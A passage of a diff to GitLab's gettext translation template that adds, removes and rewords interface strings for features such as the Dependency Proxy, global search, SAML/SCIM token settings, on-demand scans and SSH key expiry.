msgstr ""
@@ -11250,15 +11530,9 @@ msgstr ""
msgid "Deleted"
msgstr ""
-msgid "Deleted Projects"
-msgstr ""
-
msgid "Deleted chat nickname: %{chat_name}!"
msgstr ""
-msgid "Deleted projects"
-msgstr ""
-
msgid "Deleted projects cannot be restored!"
msgstr ""
@@ -11385,9 +11659,15 @@ msgstr ""
msgid "Dependency Scanning"
msgstr ""
+msgid "Dependency list"
+msgstr ""
+
msgid "DependencyProxy|Cached %{time}"
msgstr ""
+msgid "DependencyProxy|Clear the Dependency Proxy cache automatically"
+msgstr ""
+
msgid "DependencyProxy|Contains %{count} blobs of images (%{size})"
msgstr ""
@@ -11400,24 +11680,30 @@ msgstr ""
msgid "DependencyProxy|Dependency Proxy"
msgstr ""
-msgid "DependencyProxy|Dependency Proxy disabled. To enable it, contact the group owner."
-msgstr ""
-
msgid "DependencyProxy|Dependency Proxy feature is limited to public groups for now."
msgstr ""
msgid "DependencyProxy|Dependency Proxy image prefix"
msgstr ""
-msgid "DependencyProxy|Enable Proxy"
+msgid "DependencyProxy|Enable Dependency Proxy"
msgstr ""
msgid "DependencyProxy|Image list"
msgstr ""
+msgid "DependencyProxy|Storage settings"
+msgstr ""
+
msgid "DependencyProxy|There are no images in the cache"
msgstr ""
+msgid "DependencyProxy|To see the image prefix and what is in the cache, visit the %{linkStart}Dependency Proxy%{linkEnd}"
+msgstr ""
+
+msgid "DependencyProxy|When enabled, images older than 90 days will be removed from the cache."
+msgstr ""
+
msgid "Depends on %d merge request being merged"
msgid_plural "Depends on %d merge requests being merged"
msgstr[0] ""
@@ -12220,15 +12506,15 @@ msgstr ""
msgid "Discover|GitLab will perform static and dynamic tests on the code of your application, looking for known flaws and report them in the merge request so you can fix them before merging."
msgstr ""
-msgid "Discover|Give feedback for this page"
-msgstr ""
-
msgid "Discover|Security capabilities, integrated into your development lifecycle"
msgstr ""
msgid "Discover|See the other features of the %{linkStart}ultimate plan%{linkEnd}"
msgstr ""
+msgid "Discover|Send feedback"
+msgstr ""
+
msgid "Discover|Start a free trial"
msgstr ""
@@ -12369,6 +12655,9 @@ msgstr ""
msgid "Download CSV"
msgstr ""
+msgid "Download PDF"
+msgstr ""
+
msgid "Download artifacts"
msgstr ""
@@ -12414,9 +12703,6 @@ msgstr ""
msgid "Draft"
msgstr ""
-msgid "Draft merge requests can't be merged."
-msgstr ""
-
msgid "Drag your designs here or %{linkStart}click to upload%{linkEnd}."
msgstr ""
@@ -12450,6 +12736,9 @@ msgstr ""
msgid "DropdownWidget|No %{issuableAttribute} found"
msgstr ""
+msgid "DropdownWidget|No open %{issuableAttribute} found"
+msgstr ""
+
msgid "Due Date"
msgstr ""
@@ -12504,7 +12793,7 @@ msgstr ""
msgid "Edit Password"
msgstr ""
-msgid "Edit Pipeline Schedule %{id}"
+msgid "Edit Pipeline Schedule"
msgstr ""
msgid "Edit Release"
@@ -12672,6 +12961,9 @@ msgstr ""
msgid "Email a new %{name} to this project"
msgstr ""
+msgid "Email address suffix"
+msgstr ""
+
msgid "Email address to use for Support Desk"
msgstr ""
@@ -12846,6 +13138,9 @@ msgstr ""
msgid "Enable access to the performance bar for non-administrators in a given group."
msgstr ""
+msgid "Enable access tokens to expire after 2 hours. If disabled, tokens do not expire."
+msgstr ""
+
msgid "Enable admin mode"
msgstr ""
@@ -12918,6 +13213,9 @@ msgstr ""
msgid "Enable multipart emails"
msgstr ""
+msgid "Enable only for confidential applications exclusively used by a trusted backend server that can securely store the client secret. Do not enable for native-mobile, single-page, or other JavaScript applications because they cannot keep the client secret confidential."
+msgstr ""
+
msgid "Enable or disable the Pseudonymizer data collection."
msgstr ""
@@ -13427,9 +13725,6 @@ msgstr ""
msgid "Epics|Enter a title for your epic"
msgstr ""
-msgid "Epics|How can I solve this?"
-msgstr ""
-
msgid "Epics|Leave empty to inherit from milestone dates"
msgstr ""
@@ -13478,9 +13773,6 @@ msgstr ""
msgid "Epics|Something went wrong while removing issue from epic."
msgstr ""
-msgid "Epics|These dates affect how your epics appear in the roadmap. Dates from milestones come from the milestones assigned to issues in the epic. You can also set fixed dates or remove them entirely."
-msgstr ""
-
msgid "Epics|This epic and any containing child epics are confidential and should only be visible to team members with at least Reporter access."
msgstr ""
@@ -13526,9 +13818,6 @@ msgstr ""
msgid "Error creating the snippet"
msgstr ""
-msgid "Error deleting %{issuableType}"
-msgstr ""
-
msgid "Error deleting project. Check logs for error details."
msgstr ""
@@ -13682,9 +13971,6 @@ msgstr ""
msgid "Error while loading the merge request. Please try again."
msgstr ""
-msgid "Error while loading the project data. Please try again."
-msgstr ""
-
msgid "Error while migrating %{upload_id}: %{error_message}"
msgstr ""
@@ -13769,6 +14055,9 @@ msgstr ""
msgid "Escalation policies must have at least one rule"
msgstr ""
+msgid "Escalation policy:"
+msgstr ""
+
msgid "EscalationPolicies|%{clockIcon} IF alert is not %{alertStatus} in %{minutes}"
msgstr ""
@@ -13954,9 +14243,6 @@ msgstr ""
msgid "Every year on %{day} at %{time} %{timezone}"
msgstr ""
-msgid "Everyone"
-msgstr ""
-
msgid "Everyone With Access"
msgstr ""
@@ -14149,7 +14435,7 @@ msgstr ""
msgid "Export requirements"
msgstr ""
-msgid "Export this group with all related data to a new GitLab instance. Once complete, you can import the data file from the \"New Group\" page."
+msgid "Export this group with all related data."
msgstr ""
msgid "Export this project with all its related data in order to move it to a new GitLab instance. When the exported file is ready, you can download it from this page or from the download link in the email notification you will receive. You can then import it when creating a new project. %{link_start}Learn more.%{link_end}"
@@ -14319,6 +14605,9 @@ msgstr ""
msgid "Failed to install."
msgstr ""
+msgid "Failed to load"
+msgstr ""
+
msgid "Failed to load assignees."
msgstr ""
@@ -14400,9 +14689,6 @@ msgstr ""
msgid "Failed to publish issue on status page."
msgstr ""
-msgid "Failed to register Agent"
-msgstr ""
-
msgid "Failed to remove a Zoom meeting"
msgstr ""
@@ -14842,6 +15128,9 @@ msgstr ""
msgid "Filter by merge requests that are currently merged."
msgstr ""
+msgid "Filter by milestone"
+msgstr ""
+
msgid "Filter by milestone name"
msgstr ""
@@ -14854,9 +15143,6 @@ msgstr ""
msgid "Filter by test cases that are currently open."
msgstr ""
-msgid "Filter by two-factor authentication"
-msgstr ""
-
msgid "Filter by user"
msgstr ""
@@ -14938,15 +15224,6 @@ msgstr ""
msgid "Fixed burndown chart"
msgstr ""
-msgid "Fixed date"
-msgstr ""
-
-msgid "Fixed due date"
-msgstr ""
-
-msgid "Fixed start date"
-msgstr ""
-
msgid "Fixed:"
msgstr ""
@@ -15241,6 +15518,9 @@ msgstr ""
msgid "Generate site and private keys at"
msgstr ""
+msgid "Generated service account is linked to the selected environment"
+msgstr ""
+
msgid "Generic"
msgstr ""
@@ -15790,6 +16070,9 @@ msgstr ""
msgid "GitLab account request rejected"
msgstr ""
+msgid "GitLab and Google Cloud configuration seems to be incomplete. This probably can be fixed by your GitLab administration team. You may share these logs with them:"
+msgstr ""
+
msgid "GitLab commit"
msgstr ""
@@ -15853,6 +16136,9 @@ msgstr ""
msgid "GitLab version"
msgstr ""
+msgid "GitLab will create a branch in your fork and start a merge request."
+msgstr ""
+
msgid "GitLab.com"
msgstr ""
@@ -16024,6 +16310,51 @@ msgstr ""
msgid "Global notification settings"
msgstr ""
+msgid "GlobalSearch|%{count} default results provided. Use the up and down arrow keys to navigate search results list."
+msgstr ""
+
+msgid "GlobalSearch|Issues I've created"
+msgstr ""
+
+msgid "GlobalSearch|Issues assigned to me"
+msgstr ""
+
+msgid "GlobalSearch|Merge requests I've created"
+msgstr ""
+
+msgid "GlobalSearch|Merge requests assigned to me"
+msgstr ""
+
+msgid "GlobalSearch|Merge requests that I'm a reviewer"
+msgstr ""
+
+msgid "GlobalSearch|Results updated. %{count} results available. Use the up and down arrow keys to navigate search results list, or ENTER to submit."
+msgstr ""
+
+msgid "GlobalSearch|Search GitLab"
+msgstr ""
+
+msgid "GlobalSearch|Search or jump to..."
+msgstr ""
+
+msgid "GlobalSearch|Search results are loading"
+msgstr ""
+
+msgid "GlobalSearch|Type and press the enter key to submit search."
+msgstr ""
+
+msgid "GlobalSearch|Type for new suggestions to appear below."
+msgstr ""
+
+msgid "GlobalSearch|in all GitLab"
+msgstr ""
+
+msgid "GlobalSearch|in group"
+msgstr ""
+
+msgid "GlobalSearch|in project"
+msgstr ""
+
msgid "Go Back"
msgstr ""
@@ -16093,6 +16424,9 @@ msgstr ""
msgid "Go to next page"
msgstr ""
+msgid "Go to page %{page}"
+msgstr ""
+
msgid "Go to parent"
msgstr ""
@@ -16174,6 +16508,18 @@ msgstr ""
msgid "Google Cloud Project"
msgstr ""
+msgid "Google Cloud authorizations required"
+msgstr ""
+
+msgid "Google Cloud project"
+msgstr ""
+
+msgid "Google Cloud project misconfigured"
+msgstr ""
+
+msgid "Google Cloud project required"
+msgstr ""
+
msgid "Google authentication is not %{link_start}properly configured%{link_end}. Ask your GitLab administrator if you want to use this service."
msgstr ""
@@ -16270,9 +16616,6 @@ msgstr ""
msgid "Group URL"
msgstr ""
-msgid "Group Wikis"
-msgstr ""
-
msgid "Group application: %{name}"
msgstr ""
@@ -16399,6 +16742,9 @@ msgstr ""
msgid "Group was successfully updated."
msgstr ""
+msgid "Group wikis"
+msgstr ""
+
msgid "Group: %{group_name}"
msgstr ""
@@ -16495,15 +16841,24 @@ msgstr ""
msgid "GroupSAML|\"persistent\" recommended"
msgstr ""
-msgid "GroupSAML|%{strongOpen}Warning%{strongClose} - Enabling %{linkStart}SSO enforcement%{linkEnd} can reduce security risks."
+msgid "GroupSAML|%{strongOpen}Warning%{strongClose} - Enable %{linkStart}SSO enforcement%{linkEnd} to reduce security risks."
msgstr ""
msgid "GroupSAML|Active SAML Group Links (%{count})"
msgstr ""
+msgid "GroupSAML|An error occurred generating your SCIM token. Please try again."
+msgstr ""
+
+msgid "GroupSAML|An error occurred resetting your SCIM token. Please try again."
+msgstr ""
+
msgid "GroupSAML|Are you sure you want to remove the SAML group link?"
msgstr ""
+msgid "GroupSAML|Are you sure you want to reset the SCIM token? SCIM provisioning will stop working until the new token is updated."
+msgstr ""
+
msgid "GroupSAML|Before enforcing SSO, enable SAML authentication."
msgstr ""
@@ -16576,6 +16931,9 @@ msgstr ""
msgid "GroupSAML|Prohibit outer forks for this group"
msgstr ""
+msgid "GroupSAML|Reset SCIM token"
+msgstr ""
+
msgid "GroupSAML|Role to assign members of this SAML group."
msgstr ""
@@ -16615,6 +16973,9 @@ msgstr ""
msgid "GroupSAML|The SCIM token is now hidden. To see the value of the token again, you need to "
msgstr ""
+msgid "GroupSAML|The SCIM token is now hidden. To see the value of the token again, you need to %{linkStart}reset it%{linkEnd}."
+msgstr ""
+
msgid "GroupSAML|The case-sensitive group name that will be sent by the SAML identity provider."
msgstr ""
@@ -16648,6 +17009,18 @@ msgstr ""
msgid "GroupSAML|recommend persistent ID instead of email"
msgstr ""
+msgid "GroupSaml|Copy SCIM API endpoint URL"
+msgstr ""
+
+msgid "GroupSaml|Copy SCIM token"
+msgstr ""
+
+msgid "GroupSaml|SCIM API endpoint URL"
+msgstr ""
+
+msgid "GroupSaml|Your SCIM token"
+msgstr ""
+
msgid "GroupSelect|No matching results"
msgstr ""
@@ -16672,7 +17045,7 @@ msgstr ""
msgid "GroupSettings|Badges"
msgstr ""
-msgid "GroupSettings|Be careful. Changing a group's parent can have unintended %{side_effects_link_start}side effects%{side_effects_link_end}."
+msgid "GroupSettings|Be careful. Changing a group's parent can have unintended side effects. %{learn_more_link_start}Learn more.%{learn_more_link_end}"
msgstr ""
msgid "GroupSettings|Cannot update the path because there are projects under this group that contain Docker images in their Container Registry. Please remove the images from your projects first and try again."
@@ -16681,7 +17054,7 @@ msgstr ""
msgid "GroupSettings|Change group URL"
msgstr ""
-msgid "GroupSettings|Changing group URL can have unintended side effects."
+msgid "GroupSettings|Changing a group's URL can have unintended side effects."
msgstr ""
msgid "GroupSettings|Compliance frameworks"
@@ -16723,6 +17096,9 @@ msgstr ""
msgid "GroupSettings|Overrides user notification preferences for all members of the group, subgroups, and projects."
msgstr ""
+msgid "GroupSettings|Parent Group"
+msgstr ""
+
msgid "GroupSettings|Pipeline settings was updated for the group"
msgstr ""
@@ -16750,12 +17126,18 @@ msgstr ""
msgid "GroupSettings|Projects will be permanently deleted after a %{waiting_period}-day delay. This delay can be %{link_start}customized by an admin%{link_end} in instance settings. Inherited by subgroups."
msgstr ""
+msgid "GroupSettings|Search groups"
+msgstr ""
+
msgid "GroupSettings|Select a project with the %{code_start}.gitlab/insights.yml%{code_end} file"
msgstr ""
msgid "GroupSettings|Select a subgroup to use as the source for custom project templates for this group."
msgstr ""
+msgid "GroupSettings|Select parent group"
+msgstr ""
+
msgid "GroupSettings|Select the project that contains your custom Insights file."
msgstr ""
@@ -16795,6 +17177,12 @@ msgstr ""
msgid "GroupSettings|What are badges?"
msgstr ""
+msgid "GroupSettings|When the number of active users exceeds this number, additional users must be %{user_cap_docs_link_start}approved by an owner%{user_cap_docs_link_end}. Leave empty if you don't want to enforce approvals."
+msgstr ""
+
+msgid "GroupSettings|When the number of active users exceeds this number, additional users must be %{user_cap_docs_link_start}approved by an owner%{user_cap_docs_link_end}. Leave empty if you don't want to enforce approvals. Increasing the user cap will not automatically approve pending users."
+msgstr ""
+
msgid "GroupSettings|You can only transfer the group to a group you manage."
msgstr ""
@@ -16864,6 +17252,9 @@ msgstr ""
msgid "GroupsNew|%{linkStart}Groups%{linkEnd} allow you to manage and collaborate across multiple projects. Members of a group have access to all of its projects."
msgstr ""
+msgid "GroupsNew|Ask your administrator to %{enable_link_start}enable%{enable_link_end} Group Migration."
+msgstr ""
+
msgid "GroupsNew|Assemble related projects together and grant members access to several projects at once."
msgstr ""
@@ -16918,6 +17309,9 @@ msgstr ""
msgid "GroupsNew|Provide credentials for another instance of GitLab to import your groups directly."
msgstr ""
+msgid "GroupsNew|This feature is deprecated and replaced by %{docs_link_start}Group Migration%{docs_link_end}."
+msgstr ""
+
msgid "GroupsNew|To import a group, navigate to the group settings for the GitLab source instance, %{link_start}generate an export file%{link_end}, and upload it here."
msgstr ""
@@ -16978,9 +17372,6 @@ msgstr ""
msgid "Have more to say about GitLab?"
msgstr ""
-msgid "Header cannot be associated with both a request and a response"
-msgstr ""
-
msgid "Header logo"
msgstr ""
@@ -16993,7 +17384,10 @@ msgstr ""
msgid "Header message"
msgstr ""
-msgid "Header must be associated with a request or response"
+msgid "HeaderAction|incident"
+msgstr ""
+
+msgid "HeaderAction|issue"
msgstr ""
msgid "Headers"
@@ -17092,6 +17486,9 @@ msgstr ""
msgid "Hi %{username}!"
msgstr ""
+msgid "Hidden"
+msgstr ""
+
msgid "Hide"
msgstr ""
@@ -18775,6 +19172,9 @@ msgstr ""
msgid "Integrations|can't exceed %{recipients_limit}"
msgstr ""
+msgid "Interactive developer security education."
+msgstr ""
+
msgid "Interactive mode"
msgstr ""
@@ -18820,6 +19220,9 @@ msgstr ""
msgid "Invalid URL"
msgstr ""
+msgid "Invalid URL: %{url}"
+msgstr ""
+
msgid "Invalid container_name"
msgstr ""
@@ -19003,21 +19406,9 @@ msgstr ""
msgid "InviteMembersModal|Close invite team members"
msgstr ""
-msgid "InviteMembersModal|Collaborate on open issues and merge requests"
-msgstr ""
-
-msgid "InviteMembersModal|Configure CI/CD"
-msgstr ""
-
-msgid "InviteMembersModal|Configure security features"
-msgstr ""
-
msgid "InviteMembersModal|Congratulations on creating your project, you're almost there!"
msgstr ""
-msgid "InviteMembersModal|Contribute to the codebase"
-msgstr ""
-
msgid "InviteMembersModal|Create issues for your new team member to work on (optional)"
msgstr ""
@@ -19042,9 +19433,6 @@ msgstr ""
msgid "InviteMembersModal|Members were successfully added"
msgstr ""
-msgid "InviteMembersModal|Other"
-msgstr ""
-
msgid "InviteMembersModal|Search for a group to invite"
msgstr ""
@@ -19063,9 +19451,6 @@ msgstr ""
msgid "InviteMembersModal|To assign issues to a new team member, you need a project for the issues. %{linkStart}Create a project to get started.%{linkEnd}"
msgstr ""
-msgid "InviteMembersModal|What would you like new member(s) to focus on? (optional)"
-msgstr ""
-
msgid "InviteMembersModal|You're inviting a group to the %{strongStart}%{name}%{strongEnd} group."
msgstr ""
@@ -19087,9 +19472,6 @@ msgstr ""
msgid "InviteMember|Add members to this project and start collaborating with your team."
msgstr ""
-msgid "InviteMember|Invite Member"
-msgstr ""
-
msgid "InviteMember|Invite Members (optional)"
msgstr ""
@@ -19306,9 +19688,6 @@ msgstr ""
msgid "IssueAnalytics|Weight"
msgstr ""
-msgid "IssueBoards|An error occurred while setting notifications status. Please try again."
-msgstr ""
-
msgid "IssueBoards|Board"
msgstr ""
@@ -19330,6 +19709,9 @@ msgstr ""
msgid "IssueBoards|Switch board"
msgstr ""
+msgid "IssueList|created %{timeAgoString} by %{user}"
+msgstr ""
+
msgid "IssueTracker|Custom issue tracker"
msgstr ""
@@ -19387,9 +19769,6 @@ msgstr ""
msgid "Issues"
msgstr ""
-msgid "Issues I've created"
-msgstr ""
-
msgid "Issues Rate Limits"
msgstr ""
@@ -19399,9 +19778,6 @@ msgstr ""
msgid "Issues are being rebalanced at the moment, so manual reordering is disabled."
msgstr ""
-msgid "Issues assigned to me"
-msgstr ""
-
msgid "Issues can be bugs, tasks or ideas to be discussed. Also, issues are searchable and filterable."
msgstr ""
@@ -19645,9 +20021,6 @@ msgstr ""
msgid "Japanese language support using"
msgstr ""
-msgid "Jira Issues"
-msgstr ""
-
msgid "Jira display name"
msgstr ""
@@ -19777,18 +20150,12 @@ msgstr ""
msgid "JiraService|If different from Web URL."
msgstr ""
-msgid "JiraService|Issue List"
-msgstr ""
-
msgid "JiraService|Issues created from vulnerabilities in this project will be Jira issues, even if GitLab issues are enabled."
msgstr ""
msgid "JiraService|Jira API URL"
msgstr ""
-msgid "JiraService|Jira Issues"
-msgstr ""
-
msgid "JiraService|Jira comments are created when an issue is referenced in a commit."
msgstr ""
@@ -19798,6 +20165,9 @@ msgstr ""
msgid "JiraService|Jira issue type"
msgstr ""
+msgid "JiraService|Jira issues"
+msgstr ""
+
msgid "JiraService|Jira project key"
msgstr ""
@@ -19963,7 +20333,7 @@ msgstr ""
msgid "Job|Download"
msgstr ""
-msgid "Job|Erase job log"
+msgid "Job|Erase job log and artifacts"
msgstr ""
msgid "Job|Job artifacts"
@@ -20134,6 +20504,9 @@ msgstr ""
msgid "Ki"
msgstr ""
+msgid "Kontra"
+msgstr ""
+
msgid "Kroki"
msgstr ""
@@ -20583,6 +20956,9 @@ msgstr ""
msgid "LearnGitLab|Use your new GitLab workflow to deploy your application, monitor its health, and keep it secure:"
msgstr ""
+msgid "LearnGitLab|Your team is growing! You've successfully invited new team members to the %{projectName} project."
+msgstr ""
+
msgid "LearnGitlab|Creating your onboarding experience..."
msgstr ""
@@ -20628,6 +21004,9 @@ msgstr ""
msgid "License Compliance"
msgstr ""
+msgid "License compliance"
+msgstr ""
+
msgid "License file"
msgstr ""
@@ -21035,7 +21414,7 @@ msgstr ""
msgid "MERGED"
msgstr ""
-msgid "MR widget|Back to the Merge request"
+msgid "MR widget|Back to the merge request"
msgstr ""
msgid "MR widget|See your pipeline in action"
@@ -21116,7 +21495,7 @@ msgstr ""
msgid "Manage applications that can use GitLab as an OAuth provider, and applications that you've authorized to use your account."
msgstr ""
-msgid "Manage applications that can use GitLab as an OAuth provider."
+msgid "Manage applications that use GitLab as an OAuth provider."
msgstr ""
msgid "Manage applications that you've authorized to use your account."
@@ -21167,7 +21546,7 @@ msgstr ""
msgid "ManualOrdering|Couldn't save the order of the issues"
msgstr ""
-msgid "Manually link this issue by adding it to the linked issue section of the %{originating_vulnerability}."
+msgid "Manually link this issue by adding it to the linked issue section of the %{linkStart}originating vulnerability%{linkEnd}."
msgstr ""
msgid "Map a FogBugz account ID to a GitLab user"
@@ -21329,6 +21708,9 @@ msgstr ""
msgid "Maximum Conan package file size in bytes"
msgstr ""
+msgid "Maximum Helm chart file size in bytes"
+msgstr ""
+
msgid "Maximum Maven package file size in bytes"
msgstr ""
@@ -21347,6 +21729,9 @@ msgstr ""
msgid "Maximum allowable lifetime for personal access token (days)"
msgstr ""
+msgid "Maximum allowed lifetime for SSH keys (in days)"
+msgstr ""
+
msgid "Maximum artifacts size"
msgstr ""
@@ -21554,9 +21939,6 @@ msgstr ""
msgid "MemberInviteEmail|%{member_name} invited you to join GitLab"
msgstr ""
-msgid "MemberInviteEmail|I've invited you to join me in GitLab"
-msgstr ""
-
msgid "MemberInviteEmail|Invitation to join the %{project_or_group} %{project_or_group_name}"
msgstr ""
@@ -21719,6 +22101,12 @@ msgstr ""
msgid "Merge automatically (%{strategy})"
msgstr ""
+msgid "Merge blocked: all merge request dependencies must be merged or closed."
+msgstr ""
+
+msgid "Merge blocked: merge request must be marked as ready. It's still marked as draft."
+msgstr ""
+
msgid "Merge blocked: new changes were just added."
msgstr ""
@@ -21782,22 +22170,13 @@ msgstr ""
msgid "Merge requests"
msgstr ""
-msgid "Merge requests I've created"
-msgstr ""
-
msgid "Merge requests are a place to propose changes you've made to a project and discuss those changes with others"
msgstr ""
-msgid "Merge requests are read-only in a secondary Geo node"
-msgstr ""
-
-msgid "Merge requests assigned to me"
-msgstr ""
-
-msgid "Merge requests that I'm a reviewer"
+msgid "Merge the branch and fix any conflicts that come up"
msgstr ""
-msgid "Merge the branch and fix any conflicts that come up"
+msgid "Merge unavailable: merge requests are read-only in a secondary Geo node."
msgstr ""
msgid "Merge when pipeline succeeds"
@@ -21917,6 +22296,18 @@ msgstr ""
msgid "MergeRequest|Approved by @%{username}"
msgstr ""
+msgid "MergeRequest|Can't show this merge request because of an internal error. Contact your administrator."
+msgstr ""
+
+msgid "MergeRequest|Can't show this merge request because the fork project was deleted."
+msgstr ""
+
+msgid "MergeRequest|Can't show this merge request because the source branch %{badge_start}%{source_branch}%{badge_end} is missing from project %{badge_start}%{project_path}%{badge_end}. Close this merge request or update the source branch."
+msgstr ""
+
+msgid "MergeRequest|Can't show this merge request because the target branch %{badge_start}%{target_branch}%{badge_end} is missing from project %{badge_start}%{project_path}%{badge_end}. Close this merge request or update the target branch."
+msgstr ""
+
msgid "MergeRequest|Compare %{target} and %{source}"
msgstr ""
@@ -22013,6 +22404,9 @@ msgstr ""
msgid "Metrics and profiling"
msgstr ""
+msgid "Metrics:"
+msgstr ""
+
msgid "MetricsDashboardAnnotation|Annotation can't belong to both a cluster and an environment at the same time"
msgstr ""
@@ -22958,9 +23352,6 @@ msgstr ""
msgid "NetworkPolicies|None selected"
msgstr ""
-msgid "NetworkPolicies|Please %{installLinkStart}install%{installLinkEnd} and %{configureLinkStart}configure a Kubernetes Agent for this project%{configureLinkEnd} to enable alerts."
-msgstr ""
-
msgid "NetworkPolicies|Policy %{policyName} was successfully changed"
msgstr ""
@@ -22985,6 +23376,9 @@ msgstr ""
msgid "NetworkPolicies|Something went wrong, unable to fetch policies"
msgstr ""
+msgid "NetworkPolicies|To enable alerts, %{installLinkStart}install an agent%{installLinkEnd} first."
+msgstr ""
+
msgid "NetworkPolicies|Traffic that does not match any rule will be blocked."
msgstr ""
@@ -23227,6 +23621,9 @@ msgstr ""
msgid "New schedule"
msgstr ""
+msgid "New service account is generated for the selected Google Cloud project"
+msgstr ""
+
msgid "New snippet"
msgstr ""
@@ -23269,6 +23666,9 @@ msgstr ""
msgid "Next file in diff"
msgstr ""
+msgid "Next scan"
+msgstr ""
+
msgid "Next unresolved discussion"
msgstr ""
@@ -23473,6 +23873,9 @@ msgstr ""
msgid "No matching results..."
msgstr ""
+msgid "No member provided"
+msgstr ""
+
msgid "No members found"
msgstr ""
@@ -23521,6 +23924,9 @@ msgstr ""
msgid "No projects found"
msgstr ""
+msgid "No public deploy keys"
+msgstr ""
+
msgid "No public groups"
msgstr ""
@@ -23694,7 +24100,7 @@ msgstr ""
msgid "Notes|Collapse replies"
msgstr ""
-msgid "Notes|Confidential comments are only visible to project members"
+msgid "Notes|Confidential comments are only visible to members with the role of Reporter or higher"
msgstr ""
msgid "Notes|Make this comment confidential"
@@ -24098,6 +24504,9 @@ msgstr ""
msgid "OnCallSchedules|Your schedule has been successfully created. To add individual users to this schedule, use the Add a rotation button. To enable notifications for this schedule, you must also create an %{linkStart}escalation policy%{linkEnd}."
msgstr ""
+msgid "OnDemandScans|%{learnMoreLinkStart}Learn more about on-demand scans%{learnMoreLinkEnd}."
+msgstr ""
+
msgid "OnDemandScans|Could not fetch on-demand scans. Please refresh the page, or try again later."
msgstr ""
@@ -24161,6 +24570,9 @@ msgstr ""
msgid "OnDemandScans|On-demand scans run outside the DevOps cycle and find vulnerabilities in your projects. %{learnMoreLinkStart}Learn more%{learnMoreLinkEnd}"
msgstr ""
+msgid "OnDemandScans|Repeats"
+msgstr ""
+
msgid "OnDemandScans|Save and run scan"
msgstr ""
@@ -24191,12 +24603,30 @@ msgstr ""
msgid "OnDemandScans|Target"
msgstr ""
+msgid "OnDemandScans|The scan could not be canceled."
+msgstr ""
+
+msgid "OnDemandScans|The scan could not be retried."
+msgstr ""
+
+msgid "OnDemandScans|There are no finished scans."
+msgstr ""
+
+msgid "OnDemandScans|There are no running scans."
+msgstr ""
+
+msgid "OnDemandScans|There are no scheduled scans."
+msgstr ""
+
msgid "OnDemandScans|Use existing scanner profile"
msgstr ""
msgid "OnDemandScans|Use existing site profile"
msgstr ""
+msgid "OnDemandScans|View results"
+msgstr ""
+
msgid "OnDemandScans|You must create a repository within your project to run an on-demand scan."
msgstr ""
@@ -24206,9 +24636,6 @@ msgstr ""
msgid "Once removed, the fork relationship cannot be restored. This project will no longer be able to receive or send merge requests to the source project or other forks."
msgstr ""
-msgid "Once the exported file is ready, you will receive a notification email with a download link, or you can download it from this page."
-msgstr ""
-
msgid "Once you confirm and press \"Reduce project visibility\":"
msgstr ""
@@ -24217,6 +24644,12 @@ msgid_plural "%d more items"
msgstr[0] ""
msgstr[1] ""
+msgid "One or more contacts were successfully added."
+msgstr ""
+
+msgid "One or more contacts were successfully removed."
+msgstr ""
+
msgid "One or more groups that you don't have access to."
msgstr ""
@@ -24301,7 +24734,7 @@ msgstr ""
msgid "Open Selection"
msgstr ""
-msgid "Open a CLI and connect to the cluster you want to install the Agent in. Use this installation method to minimize any manual steps. The token is already included in the command."
+msgid "Open a CLI and connect to the cluster you want to install the agent in. Use this installation method to minimize any manual steps. The token is already included in the command."
msgstr ""
msgid "Open epics"
@@ -24900,9 +25333,6 @@ msgstr ""
msgid "Page settings"
msgstr ""
-msgid "Page size"
-msgstr ""
-
msgid "PagerDutySettings|Active"
msgstr ""
@@ -25092,9 +25522,15 @@ msgstr ""
msgid "Pending"
msgstr ""
+msgid "Pending Deletion"
+msgstr ""
+
msgid "Pending comments"
msgstr ""
+msgid "Pending deletion"
+msgstr ""
+
msgid "Pending owner approval"
msgstr ""
@@ -25254,6 +25690,9 @@ msgstr ""
msgid "Pipeline Editor"
msgstr ""
+msgid "Pipeline Editor|Are you sure you want to reset the file to its last committed version?"
+msgstr ""
+
msgid "Pipeline ID"
msgstr ""
@@ -25728,9 +26167,6 @@ msgstr ""
msgid "Pipeline|Merged result pipeline"
msgstr ""
-msgid "Pipeline|No pipeline was triggered for the latest changes due to the current CI/CD configuration."
-msgstr ""
-
msgid "Pipeline|Passed"
msgstr ""
@@ -25950,6 +26386,9 @@ msgstr ""
msgid "Please enter a valid number"
msgstr ""
+msgid "Please enter a valid time interval"
+msgstr ""
+
msgid "Please enter or upload a valid license."
msgstr ""
@@ -26004,6 +26443,12 @@ msgstr ""
msgid "Please refer to %{docs_url}"
msgstr ""
+msgid "Please review the updated escalation policies for %{project_link}. It is recommended that you reach out to the current on-call responder to ensure continuity of on-call coverage."
+msgstr ""
+
+msgid "Please review the updated escalation policies for %{project}. It is recommended that you reach out to the current on-call responder to ensure continuity of on-call coverage."
+msgstr ""
+
msgid "Please select"
msgstr ""
@@ -26217,7 +26662,7 @@ msgstr ""
msgid "Prev"
msgstr ""
-msgid "Prevent adding new members to project membership within this group"
+msgid "Prevent adding new members to projects within this group"
msgstr ""
msgid "Prevent auto-stopping"
@@ -26499,7 +26944,7 @@ msgstr ""
msgid "Profiles|Do not show on profile"
msgstr ""
-msgid "Profiles|Don't display activity-related personal information on your profiles"
+msgid "Profiles|Don't display activity-related personal information on your profile"
msgstr ""
msgid "Profiles|Edit Profile"
@@ -26520,13 +26965,13 @@ msgstr ""
msgid "Profiles|Enter your pronouns to let people know how to refer to you"
msgstr ""
-msgid "Profiles|Expired key is not valid."
+msgid "Profiles|Expiration date"
msgstr ""
-msgid "Profiles|Expired:"
+msgid "Profiles|Expired key is not valid."
msgstr ""
-msgid "Profiles|Expires at"
+msgid "Profiles|Expired:"
msgstr ""
msgid "Profiles|Expires:"
@@ -26568,13 +27013,16 @@ msgstr ""
msgid "Profiles|Key"
msgstr ""
-msgid "Profiles|Key can still be used after expiration."
+msgid "Profiles|Key becomes invalid on this date."
msgstr ""
-msgid "Profiles|Key usable beyond expiration date."
+msgid "Profiles|Key becomes invalid on this date. Maximum lifetime for SSH keys is %{max_ssh_key_lifetime} days"
msgstr ""
-msgid "Profiles|Key will be deleted on this date."
+msgid "Profiles|Key can still be used after expiration."
+msgstr ""
+
+msgid "Profiles|Key usable beyond expiration date."
msgstr ""
msgid "Profiles|Last used:"
@@ -26904,9 +27352,6 @@ msgstr ""
msgid "Project name"
msgstr ""
-msgid "Project name suffix"
-msgstr ""
-
msgid "Project navigation"
msgstr ""
@@ -26985,6 +27430,9 @@ msgstr ""
msgid "ProjectOverview|Unstar"
msgstr ""
+msgid "ProjectOverview|You don't have permission to fork this project"
+msgstr ""
+
msgid "ProjectOverview|You have reached your project limit"
msgstr ""
